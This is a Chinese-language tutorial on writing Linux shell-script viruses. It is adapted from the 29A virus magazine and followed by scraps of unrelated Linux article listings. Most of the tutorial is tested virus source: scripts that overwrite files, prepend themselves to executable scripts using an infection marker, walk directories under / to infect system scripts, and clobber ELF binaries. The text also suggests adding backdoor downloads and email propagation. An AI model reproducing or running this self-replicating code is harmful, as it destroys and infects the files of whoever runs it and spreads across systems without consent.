感染linux脚本程序技术_unix linux

前言
----
  本文来源于29A病毒杂志,其上对linux shell病毒技术有了一个综合的阐述,我不想翻译它,我以它的那篇为模板
写了这篇中文的文章,里面的代码我都做了调试.
  对于shell编程的程序员来说所谓的shell病毒技术其实根本就是小牛一毛,这点在大家看完本文后就会有所体会
但,简单归简单,我们还是要去了解它,呵呵.

主要的shell病毒技术
-------------------
  当然,本文需要你至少了解linux shell编程的基础知识和一星点的病毒知识.
  ok!我们进入正题!
  我们来看一个最原始的shell病毒,代码最能说明问题:
---------------------------------------------------------
#shellvirus I
for file in *
do
 cp $0 $file
done
---------------------------------------------------------
简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户的操作系统,它的文件是具有
保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染.所以我们可以
为该脚本做个判断,这样隐蔽性就大大增强了:
---------------------------------------------------------
#shellvirus II
for file in *
  do
  if test -f $file
  then
 if test -x $file
 then
  if test -w $file
  then
 if grep -s echo $file >.mmm
 then
 cp $0 $file
  fi; fi; fi; fi; fi
done
rm .mmm -f
---------------------------------------------------------
ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序
如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的.if grep -s echo $file>/.mmm
这句也可以这样写:if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判断file是否为shell
脚本程序.
  但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简
单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错:),看看下面代码:
---------------------------------------------------------
#infection
head -n 24 $0 > .test<-取自身保存到.test
  for file in *<-遍历文件系统
  do
 if test -f $file<-判断是否为文件
 then
 if test -x $file<-判断文件是否可执行
 then
  if test -w $file<-判断文件是否可写
  then
  if grep -s echo $file >.mmm<-判断是否为脚本程序
  then
  head -n 1 $file >.mm<-提取要感染的脚本程序的第一行
  if grep -s infection .mm >.mmm<-判断该文件是否已经被感染
  then
 rm -f .mm<-已经被感染,则跳过
  else<-还未被感染
 cat $file > .SAVEE<-很熟悉吧?借用了传统的二进制文件的感染机制
 cat .test > $file
 cat .SAVEE >> $file
 fi; fi; fi; fi; fi
done
rm .test .SAVEE .mmm .mm -f
--------------------------------------------------------
程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵.不过
危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来.
ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:
--------------------------------------------------------
#infection
for file in * ;do
 if test -f $file && test -x $file && test -w $file ; then
  if grep -s echo $file > /dev/nul ; then
 head -n 1 $file >.mm
  if grep -s infection .mm > /dev/nul ; then
 rm .mm -f ; else
  cat $file > .SAVEE
  head -n 13 $0 > $file
  cat .SAVEE >> $file
  fi; fi; fi
done
rm .SAVEE .mm -f
--------------------------------------------------------
现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至写到1-2行,但这里我只是说明问题,就
不写出来了.
好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如根目录或者是/etc,/bin等等,因为大多
数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了:)
--------------------------------------------------------
#infection
xtemp=$pwd<-保存当前路径
head -n 22 $0 > /.test
for dir in /* ; do<-遍历/目录
  if test -d $dir ; then<-如果是目录就cd该目录
 cd $dir
 for file in * ; do<-遍历该目录文件
  if test -f $file && test -x $file && test -w $file ; then<-确定文件是否可执行,可写
 if grep -s echo $file > /dev/nul ; then<-确定是否为脚本程序
 head -n 1 $file > .mm
 if grep -s infection .mm > /dev/nul ; then<-确定是否已经被感染
  rm .mm -f ; else
 cat $file > /.SAVEE<-和前面的感染机制一样感染未被感染的脚本程序
 cat /.test > $file
 cat /.SAVEE >> $file
  fi; fi; fi
 done
 cd ..
  fi
done
cd $xtemp<-返回原目录
rm /.test /.SAVEE .mm -f
-------------------------------------------------------------
其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循环而已.同样shell病毒可以做很多事情
如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来发送传染等等.总之它的实现技术不高深,
但也比较实用,还是值得去说明一下的,呵呵.
同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧:)
-------------------------------------------------------------
for file in * ;do
 if test -f $file && test -x $file && test -w $file ; then
  if file $file | grep -s 'ELF' > /dev/nul ; then
 mv $file .$file
 head -n 9 $0 > $file
  fi; fi
done
.$0
-------------------------------------------------------------

时间: 2024-07-29 07:35:52

感染linux脚本程序技术_unix linux的相关文章

Linux 集群技术_unix linux

目前,越来越多的网站采用Linux操作系统,提供邮件.Web.文件存储.数据库等服务. 也有非常多的公司在企业内部网中利用Linux服务器提供这些服务.随着人们对Linux服务器依赖的加深,对其可靠性.负载能力和计算能力也倍加关注.Linux集群技术应运而生,可以以低廉的成本,很好地满足人们的这些需要. Linux竞争力很强的原因之一,是它可以运行于极为普及的PC机上,不需要购买昂贵的专用硬件设备.在几台运行Linux的PC机上,只要加入相应的集群软件,就可以组成具有超强可靠性.负载能力和计算能

Linux 管理员手册(8)_unix linux

    硬件不肯定是可靠的    软件肯定是不可靠的    人不肯定是不可靠的    而自然肯定是可靠的     本张说明为什么.如何.何时要做备份,及如何回存备份的东西.     备份的重要 数据是有价值的.重新产生它需要你花费时间和努力,并且要花费金钱或至少伤心和眼泪,有时甚至不可能重新产生,例如一些实验结果.由于数据是一种投资,你必须保护它,并采取措施避免丢失. 丢失数据一般有4个原因:硬件失败.软件曲线.人为因素或自然灾害. 虽然现代硬件已经相当可靠,但仍可能自然损坏.存储数据最决定性的

Linux 管理员手册(4)_unix linux

    本章说明Linux的内存管理特征,即虚拟内存和磁盘缓存.描述系统管理员应该考虑的东西.工作和目的.     什么是虚拟内存? Linux支持虚拟内存, 就是使用磁盘作为RAM的扩展,使可用内存相应地有效扩大.核心把当前不用的内存块存到硬盘,腾出内存给其他目的.当原来的内容又要使用时,再读回内存.这对用户全透明:运行于Linux的程序只看到大量的可用内存而不甘心哪部分在磁盘上.当然,读写硬盘比真的内存慢(慢千倍),所以程序运行较慢.用做虚拟内存的这部分硬盘叫 对换空间. Linux可以使用

编写Linux实用程序的艺术_unix linux

    Linux 和其他类 UNIX 系统总是附带了大量的工具,它们执行从显而易见的到不可思议的广泛功能.类 UNIX 编程环境的成功很大程度上归功于工具的高品质和选择,以及这些工具之间相互衔接的简易性. 作为开发人员,您可能会发现现有实用程序并不总是能够解决问题.虽然能够通过结合使用现有实用程序来容易地解决许多问题,然而解决其他问题却至少需要一些实 际的编程工作.这些后面的任务通常是创建新实用程序的候选任务,结合现有实用程序来创建新实用程序可以通过做最少的工作来解决问题.本文考察优秀实用程序

Linux网络服务器配置基础_unix linux

要建立一个安全Linux服务器就首先要了解Linux环境下和网络服务相关的配置文件的含义及如何进行安全的配置.在Linux系统中,TCP/IP网络是通过若干个文本文件进行配置的,也许你需要编辑这些文件来完成联网工作,但是这些配置文件大都可以通过配置命令linuxconf(其中网络部分的配置可以通过netconf命令来实现)命令来实现.下面介绍基本的 TCP/IP网络配置文件.  * /etc/conf.modules 文件 该配置文件定义了各种需要在启动时加载的模块的参数信息.这里主要着重讨论关

Linux内核漏洞浅析_unix linux

与Windows相比,Linux被认为具有更好的安全性和其他扩展性能.这些特性使得Linux在操作系统领域异军突起,得到越来越多的重视.随着Linux应用量的增加,其安全性也逐渐受到了公众甚或黑客的关注.那么,Linux是否真的如其支持厂商们所宣称的那样安全呢?本期我们请到了启明星辰信息技术有限公司积极防御实验室工程师赵伟,对Linux进行专业的漏洞技术分析. Linux内核精短.稳定性高.可扩展性好.硬件需求低.免费.网络功能丰富.适用于多种cpu等特性,使之在操作系统领域异军突起.其独特的魅

Linux 管理员手册(3)_unix linux

    安装和升级系统时,需要对硬盘做很多工作.必须在硬盘上做文件系统,使文件能存在其上,并为系统不同的部分保留空间. 本章说明所有这些初始化工作.通常,一旦你建立了系统,就不必再做这些工作(除了使用软盘).如果你要增加一个新硬盘或更好地调整你的硬盘的使用,那么可能回到这一章.     管理磁盘的基本任务有: 格式化磁盘.这为磁盘进入使用做一些工作,比如检查坏扇区.(现在多数硬盘无须格式化.) 给硬盘分区,如果想用于互相不干扰的几件事.分区的一个原因是要在一个硬盘上存不同的操作系统.另一个原因是

Linux操作系统发展简史_unix linux

    在70年代,Unix体系的源程序大多是可以任意流传的.互联网的基础协议TCP/IP就是产生于那个年代.在那个时期,人们在创作各自的"程序作品"中享受着从事科学探索.创新活动所特有的那种激情和成就感.那时的程序员,如同作家一样,急于"发表"自己的程序作品,并不专注于保守"机密",以换取钱财. 1979年,AT&T宣布了Unix的商业化计划,随之出现了各种二进制的商业Unix版本.于是就兴起了基于二进制机读代码的"版权产业&

[基础知识]Linux新手系列之五_unix linux

上 给Linux新手 [系列之五] "大夫,我痛,告诉我怎么办吧" "别着急,你先说你哪里怎么痛了" "噢,哪里痛还不一样治啊,我肚子痛,快告诉我怎么办吧,我很着急的" "别着急,再说说你昨天都干了些什么啊?" "怎么跟昨天干什么还有关系?我昨天就干了我每天作的事情嘛,我觉得很正常,你怎么还不告诉我怎么办?不想说就别说". "别着急,你再想想,昨天作了什么跟平时不同的事情?" "